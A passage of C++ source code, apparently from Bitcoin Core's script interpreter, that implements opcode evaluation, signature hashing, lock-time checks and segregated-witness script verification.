sequence number with the input. if (!checker.CheckSequence(nSequence)) return set_error(serror, SCRIPT_ERR_UNSATISFIED_LOCKTIME); break; } case OP_NOP1: case OP_NOP4: case OP_NOP5: case OP_NOP6: case OP_NOP7: case OP_NOP8: case OP_NOP9: case OP_NOP10: { if (flags & SCRIPT_VERIFY_DISCOURAGE_UPGRADABLE_NOPS) return set_error(serror, SCRIPT_ERR_DISCOURAGE_UPGRADABLE_NOPS); } break; case OP_IF: case OP_NOTIF: { // <expression> if [statements] [else [statements]] endif bool fValue = false; if (fExec) { if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_UNBALANCED_CONDITIONAL); valtype& vch = stacktop(-1); if (sigversion == SIGVERSION_WITNESS_V0 && (flags & SCRIPT_VERIFY_MINIMALIF)) { if (vch.size() > 1) return set_error(serror, SCRIPT_ERR_MINIMALIF); if (vch.size() == 1 && vch[0] != 1) return set_error(serror, SCRIPT_ERR_MINIMALIF); } fValue = CastToBool(vch); if (opcode == OP_NOTIF) fValue = !fValue; popstack(stack); } vfExec.push_back(fValue); } break; case OP_ELSE: { if (vfExec.empty()) return set_error(serror, SCRIPT_ERR_UNBALANCED_CONDITIONAL); vfExec.back() = !vfExec.back(); } break; case OP_ENDIF: { if (vfExec.empty()) return set_error(serror, SCRIPT_ERR_UNBALANCED_CONDITIONAL); vfExec.pop_back(); } break; case OP_VERIFY: { // (true -- ) or // (false -- false) and return if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); bool fValue = CastToBool(stacktop(-1)); if (fValue) popstack(stack); else return set_error(serror, SCRIPT_ERR_VERIFY); } break; case OP_RETURN: { return set_error(serror, SCRIPT_ERR_OP_RETURN); } break; // // Stack ops // case OP_TOALTSTACK: { if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); altstack.push_back(stacktop(-1)); popstack(stack); } break; case OP_FROMALTSTACK: { if (altstack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_ALTSTACK_OPERATION); stack.push_back(altstacktop(-1)); popstack(altstack); } break; case OP_2DROP: { // (x1 x2 -- ) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); popstack(stack); popstack(stack); } break; case OP_2DUP: { // (x1 x2 -- x1 x2 x1 x2) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch1 = stacktop(-2); valtype vch2 = stacktop(-1); stack.push_back(vch1); stack.push_back(vch2); } break; case OP_3DUP: { // (x1 x2 x3 -- x1 x2 x3 x1 x2 x3) if (stack.size() < 3) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch1 = stacktop(-3); valtype vch2 = stacktop(-2); valtype vch3 = stacktop(-1); stack.push_back(vch1); stack.push_back(vch2); stack.push_back(vch3); } break; case OP_2OVER: { // (x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2) if (stack.size() < 4) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch1 = stacktop(-4); valtype vch2 = stacktop(-3); stack.push_back(vch1); stack.push_back(vch2); } break; case OP_2ROT: { // (x1 x2 x3 x4 x5 x6 -- x3 x4 x5 x6 x1 x2) if (stack.size() < 6) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch1 = stacktop(-6); valtype vch2 = stacktop(-5); stack.erase(stack.end()-6, stack.end()-4); stack.push_back(vch1); stack.push_back(vch2); } break; case OP_2SWAP: { // (x1 x2 x3 x4 -- x3 x4 x1 x2) if (stack.size() < 4) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); swap(stacktop(-4), stacktop(-2)); swap(stacktop(-3), stacktop(-1)); } break; case OP_IFDUP: { // (x - 0 | x x) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch = stacktop(-1); if (CastToBool(vch)) stack.push_back(vch); } break; case OP_DEPTH: { // -- stacksize CScriptNum bn(stack.size()); stack.push_back(bn.getvch()); } break; case OP_DROP: { // (x -- ) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); popstack(stack); } break; case OP_DUP: { // (x -- x x) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch = stacktop(-1); stack.push_back(vch); } break; case OP_NIP: { // (x1 x2 -- x2) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); stack.erase(stack.end() - 2); } break; case OP_OVER: { // (x1 x2 -- x1 x2 x1) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch = stacktop(-2); stack.push_back(vch); } break; case OP_PICK: case OP_ROLL: { // (xn ... x2 x1 x0 n - xn ... x2 x1 x0 xn) // (xn ... x2 x1 x0 n - ... x2 x1 x0 xn) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); int n = CScriptNum(stacktop(-1), fRequireMinimal).getint(); popstack(stack); if (n < 0 || n >= (int)stack.size()) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch = stacktop(-n-1); if (opcode == OP_ROLL) stack.erase(stack.end()-n-1); stack.push_back(vch); } break; case OP_ROT: { // (x1 x2 x3 -- x2 x3 x1) // x2 x1 x3 after first swap // x2 x3 x1 after second swap if (stack.size() < 3) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); swap(stacktop(-3), stacktop(-2)); swap(stacktop(-2), stacktop(-1)); } break; case OP_SWAP: { // (x1 x2 -- x2 x1) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); swap(stacktop(-2), stacktop(-1)); } break; case OP_TUCK: { // (x1 x2 -- x2 x1 x2) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype vch = stacktop(-1); stack.insert(stack.end()-2, vch); } break; case OP_SIZE: { // (in -- in size) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); CScriptNum bn(stacktop(-1).size()); stack.push_back(bn.getvch()); } break; // // Bitwise logic // case OP_EQUAL: case OP_EQUALVERIFY: //case OP_NOTEQUAL: // use OP_NUMNOTEQUAL { // (x1 x2 - bool) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype& vch1 = stacktop(-2); valtype& vch2 = stacktop(-1); bool fEqual = (vch1 == vch2); // OP_NOTEQUAL is disabled because it would be too easy to say // something like n != 1 and have some wiseguy pass in 1 with extra // zero bytes after it (numerically, 0x01 == 0x0001 == 0x000001) //if (opcode == OP_NOTEQUAL) // fEqual = !fEqual; popstack(stack); popstack(stack); stack.push_back(fEqual ? vchTrue : vchFalse); if (opcode == OP_EQUALVERIFY) { if (fEqual) popstack(stack); else return set_error(serror, SCRIPT_ERR_EQUALVERIFY); } } break; // // Numeric // case OP_1ADD: case OP_1SUB: case OP_NEGATE: case OP_ABS: case OP_NOT: case OP_0NOTEQUAL: { // (in -- out) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); CScriptNum bn(stacktop(-1), fRequireMinimal); switch (opcode) { case OP_1ADD: bn += bnOne; break; case OP_1SUB: bn -= bnOne; break; case OP_NEGATE: bn = -bn; break; case OP_ABS: if (bn < bnZero) bn = -bn; break; case OP_NOT: bn = (bn == bnZero); break; case OP_0NOTEQUAL: bn = (bn != bnZero); break; default: assert(!"invalid opcode"); break; } popstack(stack); stack.push_back(bn.getvch()); } break; case OP_ADD: case OP_SUB: case OP_BOOLAND: case OP_BOOLOR: case OP_NUMEQUAL: case OP_NUMEQUALVERIFY: case OP_NUMNOTEQUAL: case OP_LESSTHAN: case OP_GREATERTHAN: case OP_LESSTHANOREQUAL: case OP_GREATERTHANOREQUAL: case OP_MIN: case OP_MAX: { // (x1 x2 -- out) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); CScriptNum bn1(stacktop(-2), fRequireMinimal); CScriptNum bn2(stacktop(-1), fRequireMinimal); CScriptNum bn(0); switch (opcode) { case OP_ADD: bn = bn1 + bn2; break; case OP_SUB: bn = bn1 - bn2; break; case OP_BOOLAND: bn = (bn1 != bnZero && bn2 != bnZero); break; case OP_BOOLOR: bn = (bn1 != bnZero || bn2 != bnZero); break; case OP_NUMEQUAL: bn = (bn1 == bn2); break; case OP_NUMEQUALVERIFY: bn = (bn1 == bn2); break; case OP_NUMNOTEQUAL: bn = (bn1 != bn2); break; case OP_LESSTHAN: bn = (bn1 < bn2); break; case OP_GREATERTHAN: bn = (bn1 > bn2); break; case OP_LESSTHANOREQUAL: bn = (bn1 <= bn2); break; case OP_GREATERTHANOREQUAL: bn = (bn1 >= bn2); break; case OP_MIN: bn = (bn1 < bn2 ? bn1 : bn2); break; case OP_MAX: bn = (bn1 > bn2 ? bn1 : bn2); break; default: assert(!"invalid opcode"); break; } popstack(stack); popstack(stack); stack.push_back(bn.getvch()); if (opcode == OP_NUMEQUALVERIFY) { if (CastToBool(stacktop(-1))) popstack(stack); else return set_error(serror, SCRIPT_ERR_NUMEQUALVERIFY); } } break; case OP_WITHIN: { // (x min max -- out) if (stack.size() < 3) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); CScriptNum bn1(stacktop(-3), fRequireMinimal); CScriptNum bn2(stacktop(-2), fRequireMinimal); CScriptNum bn3(stacktop(-1), fRequireMinimal); bool fValue = (bn2 <= bn1 && bn1 < bn3); popstack(stack); popstack(stack); popstack(stack); stack.push_back(fValue ? vchTrue : vchFalse); } break; // // Crypto // case OP_RIPEMD160: case OP_SHA1: case OP_SHA256: case OP_HASH160: case OP_HASH256: { // (in -- hash) if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype& vch = stacktop(-1); valtype vchHash((opcode == OP_RIPEMD160 || opcode == OP_SHA1 || opcode == OP_HASH160) ? 20 : 32); if (opcode == OP_RIPEMD160) CRIPEMD160().Write(vch.data(), vch.size()).Finalize(vchHash.data()); else if (opcode == OP_SHA1) CSHA1().Write(vch.data(), vch.size()).Finalize(vchHash.data()); else if (opcode == OP_SHA256) CSHA256().Write(vch.data(), vch.size()).Finalize(vchHash.data()); else if (opcode == OP_HASH160) CHash160().Write(vch.data(), vch.size()).Finalize(vchHash.data()); else if (opcode == OP_HASH256) CHash256().Write(vch.data(), vch.size()).Finalize(vchHash.data()); popstack(stack); stack.push_back(vchHash); } break; case OP_CODESEPARATOR: { // Hash starts after the code separator pbegincodehash = pc; } break; case OP_CHECKSIG: case OP_CHECKSIGVERIFY: { // (sig pubkey -- bool) if (stack.size() < 2) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); valtype& vchSig = stacktop(-2); valtype& vchPubKey = stacktop(-1); // Subset of script starting at the most recent codeseparator CScript scriptCode(pbegincodehash, pend); // Drop the signature in pre-segwit scripts but not segwit scripts if (sigversion == SIGVERSION_BASE) { scriptCode.FindAndDelete(CScript(vchSig)); } if (!CheckSignatureEncoding(vchSig, flags, serror) || !CheckPubKeyEncoding(vchPubKey, flags, sigversion, serror)) { //serror is set return false; } bool fSuccess = checker.CheckSig(vchSig, vchPubKey, scriptCode, sigversion); if (!fSuccess && (flags & SCRIPT_VERIFY_NULLFAIL) && vchSig.size()) return set_error(serror, SCRIPT_ERR_SIG_NULLFAIL); popstack(stack); popstack(stack); stack.push_back(fSuccess ? vchTrue : vchFalse); if (opcode == OP_CHECKSIGVERIFY) { if (fSuccess) popstack(stack); else return set_error(serror, SCRIPT_ERR_CHECKSIGVERIFY); } } break; case OP_CHECKMULTISIG: case OP_CHECKMULTISIGVERIFY: { // ([sig ...] num_of_signatures [pubkey ...] num_of_pubkeys -- bool) int i = 1; if ((int)stack.size() < i) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); int nKeysCount = CScriptNum(stacktop(-i), fRequireMinimal).getint(); if (nKeysCount < 0 || nKeysCount > MAX_PUBKEYS_PER_MULTISIG) return set_error(serror, SCRIPT_ERR_PUBKEY_COUNT); nOpCount += nKeysCount; if (nOpCount > MAX_OPS_PER_SCRIPT) return set_error(serror, SCRIPT_ERR_OP_COUNT); int ikey = ++i; // ikey2 is the position of last non-signature item in the stack. Top stack item = 1. // With SCRIPT_VERIFY_NULLFAIL, this is used for cleanup if operation fails. int ikey2 = nKeysCount + 2; i += nKeysCount; if ((int)stack.size() < i) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); int nSigsCount = CScriptNum(stacktop(-i), fRequireMinimal).getint(); if (nSigsCount < 0 || nSigsCount > nKeysCount) return set_error(serror, SCRIPT_ERR_SIG_COUNT); int isig = ++i; i += nSigsCount; if ((int)stack.size() < i) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); // Subset of script starting at the most recent codeseparator CScript scriptCode(pbegincodehash, pend); // Drop the signature in pre-segwit scripts but not segwit scripts for (int k = 0; k < nSigsCount; k++) { valtype& vchSig = stacktop(-isig-k); if (sigversion == SIGVERSION_BASE) { scriptCode.FindAndDelete(CScript(vchSig)); } } bool fSuccess = true; while (fSuccess && nSigsCount > 0) { valtype& vchSig = stacktop(-isig); valtype& vchPubKey = stacktop(-ikey); // Note how this makes the exact order of pubkey/signature evaluation // distinguishable by CHECKMULTISIG NOT if the STRICTENC flag is set. // See the script_(in)valid tests for details. if (!CheckSignatureEncoding(vchSig, flags, serror) || !CheckPubKeyEncoding(vchPubKey, flags, sigversion, serror)) { // serror is set return false; } // Check signature bool fOk = checker.CheckSig(vchSig, vchPubKey, scriptCode, sigversion); if (fOk) { isig++; nSigsCount--; } ikey++; nKeysCount--; // If there are more signatures left than keys left, // then too many signatures have failed. Exit early, // without checking any further signatures. if (nSigsCount > nKeysCount) fSuccess = false; } // Clean up stack of actual arguments while (i-- > 1) { // If the operation failed, we require that all signatures must be empty vector if (!fSuccess && (flags & SCRIPT_VERIFY_NULLFAIL) && !ikey2 && stacktop(-1).size()) return set_error(serror, SCRIPT_ERR_SIG_NULLFAIL); if (ikey2 > 0) ikey2--; popstack(stack); } // A bug causes CHECKMULTISIG to consume one extra argument // whose contents were not checked in any way. // // Unfortunately this is a potential source of mutability, // so optionally verify it is exactly equal to zero prior // to removing it from the stack. if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); if ((flags & SCRIPT_VERIFY_NULLDUMMY) && stacktop(-1).size()) return set_error(serror, SCRIPT_ERR_SIG_NULLDUMMY); popstack(stack); stack.push_back(fSuccess ? vchTrue : vchFalse); if (opcode == OP_CHECKMULTISIGVERIFY) { if (fSuccess) popstack(stack); else return set_error(serror, SCRIPT_ERR_CHECKMULTISIGVERIFY); } } break; default: return set_error(serror, SCRIPT_ERR_BAD_OPCODE); } // Size limits if (stack.size() + altstack.size() > MAX_STACK_SIZE) return set_error(serror, SCRIPT_ERR_STACK_SIZE); } } catch (...) { return set_error(serror, SCRIPT_ERR_UNKNOWN_ERROR); } if (!vfExec.empty()) return set_error(serror, SCRIPT_ERR_UNBALANCED_CONDITIONAL); return set_success(serror); } namespace { /** * Wrapper that serializes like CTransaction, but with the modifications * required for the signature hash done in-place */ class CTransactionSignatureSerializer { private: const CTransaction& txTo; //!< reference to the spending transaction (the one being serialized) const CScript& scriptCode; //!< output script being consumed const unsigned int nIn; //!< input index of txTo being signed const bool fAnyoneCanPay; //!< whether the hashtype has the SIGHASH_ANYONECANPAY flag set const bool fHashSingle; //!< whether the hashtype is SIGHASH_SINGLE const bool fHashNone; //!< whether the hashtype is SIGHASH_NONE public: CTransactionSignatureSerializer(const CTransaction &txToIn, const CScript &scriptCodeIn, unsigned int nInIn, int nHashTypeIn) : txTo(txToIn), scriptCode(scriptCodeIn), nIn(nInIn), fAnyoneCanPay(!!(nHashTypeIn & SIGHASH_ANYONECANPAY)), fHashSingle((nHashTypeIn & 0x1f) == SIGHASH_SINGLE), fHashNone((nHashTypeIn & 0x1f) == SIGHASH_NONE) {} /** Serialize the passed scriptCode, skipping OP_CODESEPARATORs */ template<typename S> void SerializeScriptCode(S &s) const { CScript::const_iterator it = scriptCode.begin(); CScript::const_iterator itBegin = it; opcodetype opcode; unsigned int nCodeSeparators = 0; while (scriptCode.GetOp(it, opcode)) { if (opcode == OP_CODESEPARATOR) nCodeSeparators++; } ::WriteCompactSize(s, scriptCode.size() - nCodeSeparators); it = itBegin; while (scriptCode.GetOp(it, opcode)) { if (opcode == OP_CODESEPARATOR) { s.write((char*)&itBegin[0], it-itBegin-1); itBegin = it; } } if (itBegin != scriptCode.end()) s.write((char*)&itBegin[0], it-itBegin); } /** Serialize an input of txTo */ template<typename S> void SerializeInput(S &s, unsigned int nInput) const { // In case of SIGHASH_ANYONECANPAY, only the input being signed is serialized if (fAnyoneCanPay) nInput = nIn; // Serialize the prevout ::Serialize(s, txTo.vin[nInput].prevout); // Serialize the script if (nInput != nIn) // Blank out other inputs' signatures ::Serialize(s, CScript()); else SerializeScriptCode(s); // Serialize the nSequence if (nInput != nIn && (fHashSingle || fHashNone)) // let the others update at will ::Serialize(s, (int)0); else ::Serialize(s, txTo.vin[nInput].nSequence); } /** Serialize an output of txTo */ template<typename S> void SerializeOutput(S &s, unsigned int nOutput) const { if (fHashSingle && nOutput != nIn) // Do not lock-in the txout payee at other indices as txin ::Serialize(s, CTxOut()); else ::Serialize(s, txTo.vout[nOutput]); } /** Serialize txTo */ template<typename S> void Serialize(S &s) const { // Serialize nVersion ::Serialize(s, txTo.nVersion); // Serialize vin unsigned int nInputs = fAnyoneCanPay ? 1 : txTo.vin.size(); ::WriteCompactSize(s, nInputs); for (unsigned int nInput = 0; nInput < nInputs; nInput++) SerializeInput(s, nInput); // Serialize vout unsigned int nOutputs = fHashNone ? 0 : (fHashSingle ? nIn+1 : txTo.vout.size()); ::WriteCompactSize(s, nOutputs); for (unsigned int nOutput = 0; nOutput < nOutputs; nOutput++) SerializeOutput(s, nOutput); // Serialize nLockTime ::Serialize(s, txTo.nLockTime); } }; uint256 GetPrevoutHash(const CTransaction& txTo) { CHashWriter ss(SER_GETHASH, 0); for (const auto& txin : txTo.vin) { ss << txin.prevout; } return ss.GetHash(); } uint256 GetSequenceHash(const CTransaction& txTo) { CHashWriter ss(SER_GETHASH, 0); for (const auto& txin : txTo.vin) { ss << txin.nSequence; } return ss.GetHash(); } uint256 GetOutputsHash(const CTransaction& txTo) { CHashWriter ss(SER_GETHASH, 0); for (const auto& txout : txTo.vout) { ss << txout; } return ss.GetHash(); } } // namespace PrecomputedTransactionData::PrecomputedTransactionData(const CTransaction& txTo) { // Cache is calculated only for transactions with witness if (txTo.HasWitness()) { hashPrevouts = GetPrevoutHash(txTo); hashSequence = GetSequenceHash(txTo); hashOutputs = GetOutputsHash(txTo); ready = true; } } uint256 SignatureHash(const CScript& scriptCode, const CTransaction& txTo, unsigned int nIn, int nHashType, const CAmount& amount, SigVersion sigversion, const PrecomputedTransactionData* cache) { assert(nIn < txTo.vin.size()); if (sigversion == SIGVERSION_WITNESS_V0) { uint256 hashPrevouts; uint256 hashSequence; uint256 hashOutputs; const bool cacheready = cache && cache->ready; if (!(nHashType & SIGHASH_ANYONECANPAY)) { hashPrevouts = cacheready ? cache->hashPrevouts : GetPrevoutHash(txTo); } if (!(nHashType & SIGHASH_ANYONECANPAY) && (nHashType & 0x1f) != SIGHASH_SINGLE && (nHashType & 0x1f) != SIGHASH_NONE) { hashSequence = cacheready ? cache->hashSequence : GetSequenceHash(txTo); } if ((nHashType & 0x1f) != SIGHASH_SINGLE && (nHashType & 0x1f) != SIGHASH_NONE) { hashOutputs = cacheready ? cache->hashOutputs : GetOutputsHash(txTo); } else if ((nHashType & 0x1f) == SIGHASH_SINGLE && nIn < txTo.vout.size()) { CHashWriter ss(SER_GETHASH, 0); ss << txTo.vout[nIn]; hashOutputs = ss.GetHash(); } CHashWriter ss(SER_GETHASH, 0); // Version ss << txTo.nVersion; // Input prevouts/nSequence (none/all, depending on flags) ss << hashPrevouts; ss << hashSequence; // The input being signed (replacing the scriptSig with scriptCode + amount) // The prevout may already be contained in hashPrevout, and the nSequence // may already be contain in hashSequence. ss << txTo.vin[nIn].prevout; ss << scriptCode; ss << amount; ss << txTo.vin[nIn].nSequence; // Outputs (none/one/all, depending on flags) ss << hashOutputs; // Locktime ss << txTo.nLockTime; // Sighash type ss << nHashType; return ss.GetHash(); } static const uint256 one(uint256S("0000000000000000000000000000000000000000000000000000000000000001")); // Check for invalid use of SIGHASH_SINGLE if ((nHashType & 0x1f) == SIGHASH_SINGLE) { if (nIn >= txTo.vout.size()) { // nOut out of range return one; } } // Wrapper to serialize only the necessary parts of the transaction being signed CTransactionSignatureSerializer txTmp(txTo, scriptCode, nIn, nHashType); // Serialize and hash CHashWriter ss(SER_GETHASH, 0); ss << txTmp << nHashType; return ss.GetHash(); } bool TransactionSignatureChecker::VerifySignature(const std::vector<unsigned char>& vchSig, const CPubKey& pubkey, const uint256& sighash) const { return pubkey.Verify(sighash, vchSig); } bool TransactionSignatureChecker::CheckSig(const std::vector<unsigned char>& vchSigIn, const std::vector<unsigned char>& vchPubKey, const CScript& scriptCode, SigVersion sigversion) const { CPubKey pubkey(vchPubKey); if (!pubkey.IsValid()) return false; // Hash type is one byte tacked on to the end of the signature std::vector<unsigned char> vchSig(vchSigIn); if (vchSig.empty()) return false; int nHashType = vchSig.back(); vchSig.pop_back(); uint256 sighash = SignatureHash(scriptCode, *txTo, nIn, nHashType, amount, sigversion, this->txdata); if (!VerifySignature(vchSig, pubkey, sighash)) return false; return true; } bool TransactionSignatureChecker::CheckLockTime(const CScriptNum& nLockTime) const { // There are two kinds of nLockTime: lock-by-blockheight // and lock-by-blocktime, distinguished by whether // nLockTime < LOCKTIME_THRESHOLD. // // We want to compare apples to apples, so fail the script // unless the type of nLockTime being tested is the same as // the nLockTime in the transaction. if (!( (txTo->nLockTime < LOCKTIME_THRESHOLD && nLockTime < LOCKTIME_THRESHOLD) || (txTo->nLockTime >= LOCKTIME_THRESHOLD && nLockTime >= LOCKTIME_THRESHOLD) )) return false; // Now that we know we're comparing apples-to-apples, the // comparison is a simple numeric one. if (nLockTime > (int64_t)txTo->nLockTime) return false; // Finally the nLockTime feature can be disabled and thus // CHECKLOCKTIMEVERIFY bypassed if every txin has been // finalized by setting nSequence to maxint. The // transaction would be allowed into the blockchain, making // the opcode ineffective. // // Testing if this vin is not final is sufficient to // prevent this condition. Alternatively we could test all // inputs, but testing just this input minimizes the data // required to prove correct CHECKLOCKTIMEVERIFY execution. if (CTxIn::SEQUENCE_FINAL == txTo->vin[nIn].nSequence) return false; return true; } bool TransactionSignatureChecker::CheckSequence(const CScriptNum& nSequence) const { // Relative lock times are supported by comparing the passed // in operand to the sequence number of the input. const int64_t txToSequence = (int64_t)txTo->vin[nIn].nSequence; // Fail if the transaction's version number is not set high // enough to trigger BIP 68 rules. if (static_cast<uint32_t>(txTo->nVersion) < 2) return false; // Sequence numbers with their most significant bit set are not // consensus constrained. Testing that the transaction's sequence // number do not have this bit set prevents using this property // to get around a CHECKSEQUENCEVERIFY check. if (txToSequence & CTxIn::SEQUENCE_LOCKTIME_DISABLE_FLAG) return false; // Mask off any bits that do not have consensus-enforced meaning // before doing the integer comparisons const uint32_t nLockTimeMask = CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG | CTxIn::SEQUENCE_LOCKTIME_MASK; const int64_t txToSequenceMasked = txToSequence & nLockTimeMask; const CScriptNum nSequenceMasked = nSequence & nLockTimeMask; // There are two kinds of nSequence: lock-by-blockheight // and lock-by-blocktime, distinguished by whether // nSequenceMasked < CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG. // // We want to compare apples to apples, so fail the script // unless the type of nSequenceMasked being tested is the same as // the nSequenceMasked in the transaction. if (!( (txToSequenceMasked < CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG && nSequenceMasked < CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG) || (txToSequenceMasked >= CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG && nSequenceMasked >= CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG) )) { return false; } // Now that we know we're comparing apples-to-apples, the // comparison is a simple numeric one. if (nSequenceMasked > txToSequenceMasked) return false; return true; } static bool VerifyWitnessProgram(const CScriptWitness& witness, int witversion, const std::vector<unsigned char>& program, unsigned int flags, const BaseSignatureChecker& checker, ScriptError* serror) { std::vector<std::vector<unsigned char> > stack; CScript scriptPubKey; if (witversion == 0) { if (program.size() == 32) { // Version 0 segregated witness program: SHA256(CScript) inside the program, CScript + inputs in witness if (witness.stack.size() == 0) { return set_error(serror, SCRIPT_ERR_WITNESS_PROGRAM_WITNESS_EMPTY); } scriptPubKey = CScript(witness.stack.back().begin(), witness.stack.back().end()); stack = std::vector<std::vector<unsigned char> >(witness.stack.begin(), witness.stack.end() - 1); uint256 hashScriptPubKey; CSHA256().Write(&scriptPubKey[0], scriptPubKey.size()).Finalize(hashScriptPubKey.begin()); if (memcmp(hashScriptPubKey.begin(), program.data(), 32)) { return set_error(serror, SCRIPT_ERR_WITNESS_PROGRAM_MISMATCH); } } else if (program.size() == 20) { // Special case for pay-to-pubkeyhash; signature + pubkey in witness if (witness.stack.size() != 2) { return set_error(serror, SCRIPT_ERR_WITNESS_PROGRAM_MISMATCH); // 2 items in witness } scriptPubKey << OP_DUP << OP_HASH160 << program << OP_EQUALVERIFY << OP_CHECKSIG; stack = witness.stack; } else { return set_error(serror, SCRIPT_ERR_WITNESS_PROGRAM_WRONG_LENGTH); } } else if (flags & SCRIPT_VERIFY_DISCOURAGE_UPGRADABLE_WITNESS_PROGRAM) { return set_error(serror, SCRIPT_ERR_DISCOURAGE_UPGRADABLE_WITNESS_PROGRAM); } else { // Higher version witness scripts return true for future softfork compatibility return set_success(serror); } // Disallow stack item size > MAX_SCRIPT_ELEMENT_SIZE in witness stack for (unsigned int i = 0; i < stack.size(); i++) { if (stack.at(i).size() > MAX_SCRIPT_ELEMENT_SIZE) return set_error(serror, SCRIPT_ERR_PUSH_SIZE); } if (!EvalScript(stack, scriptPubKey, flags, checker, SIGVERSION_WITNESS_V0, serror)) { return false; } // Scripts inside witness implicitly require cleanstack behaviour if (stack.size() != 1) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); if (!CastToBool(stack.back())) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); return true; } bool VerifyScript(const CScript& scriptSig, const CScript& scriptPubKey, const CScriptWitness* witness, unsigned int flags, const BaseSignatureChecker& checker, ScriptError* serror) { static const CScriptWitness emptyWitness; if (witness == nullptr) { witness = &emptyWitness; } bool hadWitness = false; set_error(serror, SCRIPT_ERR_UNKNOWN_ERROR); if ((flags & SCRIPT_VERIFY_SIGPUSHONLY) != 0 && !scriptSig.IsPushOnly()) { return set_error(serror, SCRIPT_ERR_SIG_PUSHONLY); } std::vector<std::vector<unsigned char> > stack, stackCopy; if (!EvalScript(stack, scriptSig, flags, checker, SIGVERSION_BASE, serror)) // serror is set return false; if (flags & SCRIPT_VERIFY_P2SH) stackCopy = stack; if (!EvalScript(stack, scriptPubKey, flags, checker, SIGVERSION_BASE, serror)) // serror is set return false; if (stack.empty()) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); if (CastToBool(stack.back()) == false) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); // Bare witness programs int witnessversion; std::vector<unsigned char> witnessprogram; if (flags & SCRIPT_VERIFY_WITNESS) { if (scriptPubKey.IsWitnessProgram(witnessversion, witnessprogram)) { hadWitness = true; if (scriptSig.size() != 0) { // The scriptSig must be _exactly_ CScript(), otherwise we reintroduce malleability. return set_error(serror, SCRIPT_ERR_WITNESS_MALLEATED); } if (!VerifyWitnessProgram(*witness, witnessversion, witnessprogram, flags, checker, serror)) { return false; } // Bypass the cleanstack check at the end. The actual stack is obviously not clean // for witness programs. stack.resize(1); } } // Additional validation for spend-to-script-hash transactions: if ((flags & SCRIPT_VERIFY_P2SH) && scriptPubKey.IsPayToScriptHash()) { // scriptSig must be literals-only or validation fails if (!scriptSig.IsPushOnly()) return set_error(serror, SCRIPT_ERR_SIG_PUSHONLY); // Restore stack. swap(stack, stackCopy); // stack cannot be empty here, because if it was the // P2SH HASH <> EQUAL scriptPubKey would be evaluated with // an empty stack and the EvalScript above would return false. assert(!stack.empty()); const valtype& pubKeySerialized = stack.back(); CScript pubKey2(pubKeySerialized.begin(), pubKeySerialized.end()); popstack(stack); if (!EvalScript(stack, pubKey2, flags, checker, SIGVERSION_BASE, serror)) // serror is set return false; if (stack.empty()) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); if (!CastToBool(stack.back())) return set_error(serror, SCRIPT_ERR_EVAL_FALSE); // P2SH witness program if (flags & SCRIPT_VERIFY_WITNESS) { if (pubKey2.IsWitnessProgram(witnessversion, witnessprogram)) { hadWitness = true; if (scriptSig != CScript() << std::vector<unsigned char>(pubKey2.begin(), pubKey2.end())) { // The scriptSig must be _exactly_ a single push of the redeemScript. Otherwise we // reintroduce malleability. return set_error(serror, SCRIPT_ERR_WITNESS_MALLEATED_P2SH); } if (!VerifyWitnessProgram(*witness, witnessversion, witnessprogram, flags, checker, serror)) { return false; } // Bypass the cleanstack check at the end. The actual stack is obviously not clean // for witness programs. stack.resize(1); } } } // The CLEANSTACK check is only performed after potential P2SH evaluation, // as the non-P2SH evaluation of a P2SH script will obviously not result in // a clean stack (the P2SH inputs remain). The same holds for witness evaluation. if ((flags & SCRIPT_VERIFY_CLEANSTACK) != 0) { // Disallow CLEANSTACK without P2SH, as otherwise a switch 